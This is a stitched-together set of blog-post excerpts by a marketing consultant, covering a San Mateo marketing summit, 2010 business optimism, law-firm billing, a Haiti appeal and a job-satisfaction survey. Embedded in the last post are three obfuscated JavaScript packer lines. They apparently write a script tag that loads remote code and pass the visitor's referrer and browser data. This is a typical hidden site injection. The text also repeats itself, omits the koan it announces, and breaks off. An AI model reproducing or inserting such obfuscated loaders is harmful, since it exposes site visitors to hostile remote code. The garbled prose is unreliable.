I'm in San Mateo, California attending the Action Plan Marketing InfoGuru Summit. Robert Middleton, my friend and mentor, is a hub for authors, consultants and coaches and organized a powerful event. He publishes one of the best weekly publications for solo-preneurs that reaches over 55,000 readers.  Now he is taking his network to a whole new level — by bringing together the experts that he recommends to his clients. I am also thrilled to reunite with my good friend and colleague Samantha Hartley.  She inspires me with her commitment to everything related to strategic marketing.   I am honored to be among these Zen Marketing Masters!

Twenty of us from Canada and the USA are enjoying the art of collaboration. Many of us will forge new business alliances and marketing plan strategies as a result of this conference.

Tonight, Robert shared a koan that I hope you will ponder. Koans are Zen "puzzles" that really offer no solution. Their purpose is to ask questions that are intentionally beyond the power of our minds to solve. Permit me to apply just a modicum of rationale to this koan. Then I will get out of the way and let you take your own intuitive leap about how it applies to your 2010 business plan and marketing plan strategies:

Welcome to the new millennium!
 
Within the past 30 days, I have logged 5,500 airline miles and interacted with over 100 business leaders from Providence to Portland. Everywhere I travel, I am encouraged.  Executives are expressing optimism and hope for 2010.  Even leaders from the top banks– one of the most conservative (and precarious) sectors of our economy — are investing again in growth and innovation.
 
Maintaining a positive outlook is a good start.  Yet few companies are clear about where they need to invest to harness the economic recovery.  Instead, they are taking a "wait and see" attitude while their competitors pounce on new markets and innovations.
 
How can you harness the economic recovery and create a more sustainable company…and perhaps even position your business for sale in the future?

Heading to Seattle tomorrow for meetings and keynote with CREW Seattle. If you are in the area, let’s meet at MITEF meeting.

"I'm the innocent bystander
Somehow I got stuck
Between the rock and the hard place
And I'm down on my luck
And I'm down on my luck
And I'm down on my luck"

— Warren Zevon, "Lawyers, Guns and Money"

I was the innocent bystander yesterday while visiting Portland. Through a series of live meetings and conference calls, I spent quite alot of time speaking with partners at two leading law firms. This got me thinking about the direct correlation between the decline in professional fees and the antiquated billable hours model among most professional services firms.

Please do what you can TODAY to help Haiti: Visit www.cnn.com/impact for a list of legitimate charities. Namaste.

"A man walks into a bar and says…"

Sorry, I'm not about to make you laugh with one of my outdated bar jokes. Something more sobering came across my desk today.

The Conference Board released their 22nd report on job satisfaction in the U.S. After surveying over 5,000 households, they learned that only 45% of people surveyed are satisfied with their jobs.  That dropped from 61% in 1987.

To make matters worse, they found that 51% currently find their jobs interesting.  This is quite a drop from nearly 70% in 1987.

“A man walks into a bar and says…”

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|saaaf|var|u0026u|referrer|kkfya||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfzyk|var|u0026u|referrer|bnibh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zndzb|var|u0026u|referrer|hdnye||js|php’.split(‘|’),0,{}))

Sorry, I’m not about to make you laugh with one of my outdated bar jokes. Something more sobering came across my desk today.

The Conference Board released their 22nd report on job satisfaction in the U.S. After surveying over 5,000 households, they learned that only 45% of people surveyed are satisfied with their jobs. …